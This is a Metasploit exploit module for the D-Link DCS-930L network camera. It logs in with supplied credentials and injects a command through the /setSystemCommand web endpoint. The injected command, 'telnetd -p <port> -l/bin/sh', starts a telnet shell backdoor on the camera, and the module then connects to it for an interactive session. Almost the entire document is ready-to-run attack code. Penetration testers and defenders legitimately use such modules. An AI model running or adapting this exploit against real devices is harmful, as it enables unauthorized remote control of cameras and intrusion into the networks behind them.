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D-Link DCS-930L Authenticated Remote Command Execution

Posted on 10 February 2016

##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Telnet
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution',
 'Description' => %q{
 The D-Link DCS-930L Network Video Camera is vulnerable
 to OS Command Injection via the web interface. The vulnerability
 exists at /setSystemCommand, which is accessible with credentials.
 This vulnerability was present in firmware version 2.01 and fixed
 by 2.12.
 },
 'Author' =>
 [
 'Nicholas Starke <nick@alephvoid.com>'
 ],
 'License' => MSF_LICENSE,
 'DisclosureDate' => 'Dec 20 2015',
 'Privileged' => true,
 'Platform' => 'unix',
 'Arch' => ARCH_CMD,
 'Payload' =>
 {
 'Compat' => {
 'PayloadType' => 'cmd_interact',
 'ConnectionType' => 'find',
 },
 },
 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
 'Targets' =>
 [
 [ 'Automatic', { } ],
 ],
 'DefaultTarget' => 0
 ))

 register_options(
 [
 OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
 OptString.new('PASSWORD', [ false, 'Password to login with', ''])
 ], self.class)

 register_advanced_options(
 [
 OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
 OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
 ], self.class)
 end

 def telnet_timeout
 (datastore['TelnetTimeout'] || 10)
 end

 def banner_timeout
 (datastore['TelnetBannerTimeout'] || 25)
 end

 def exploit
 user = datastore['USERNAME']
 pass = datastore['PASSWORD'] || ''

 test_login(user, pass)
 exploit_telnet
 end

 def test_login(user, pass)
 print_status("#{peer} - Trying to login with #{user} : #{pass}")

 res = send_request_cgi({
 'uri' => '/',
 'method' => 'GET',
 'authorization' => basic_auth(user, pass)
 })

 fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
 fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200

 print_good("#{peer} - Successful login #{user} : #{pass}")
 end

 def exploit_telnet
 telnet_port = rand(32767) + 32768

 print_status("#{peer} - Telnet Port: #{telnet_port}")

 cmd = "telnetd -p #{telnet_port} -l/bin/sh"

 telnet_request(cmd)

 print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
 ctx = { 'Msf' => framework, 'MsfExploit' => self }
 sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })

 if sock.nil?
 fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
 end

 add_socket(sock)

 print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
 prompt = negotiate_telnet(sock)

 if prompt.nil?
 sock.close
 fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
 else
 print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
 end

 handler(sock)
 end

 def telnet_request(cmd)
 uri = '/setSystemCommand'

 begin
 res = send_request_cgi({
 'uri' => uri,
 'method' => 'POST',
 'vars_post' => {
 'ReplySuccessPage' => 'docmd.htm',
 'ReplyErrorPage' => 'docmd.htm',
 'SystemCommand' => cmd,
 'ConfigSystemCommand' => 'Save'
 }
 })
 return res
 rescue ::Rex::ConnectionError
 fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
 end
 end

 def negotiate_telnet(sock)
 begin
 Timeout.timeout(banner_timeout) do
 while(true)
 data = sock.get_once(-1, telnet_timeout)
 return nil if not data or data.length == 0
 if data =~ /BusyBox/
 return true
 end
 end
 end
 rescue ::Timeout::Error
 return nil
 end
 end
end

 

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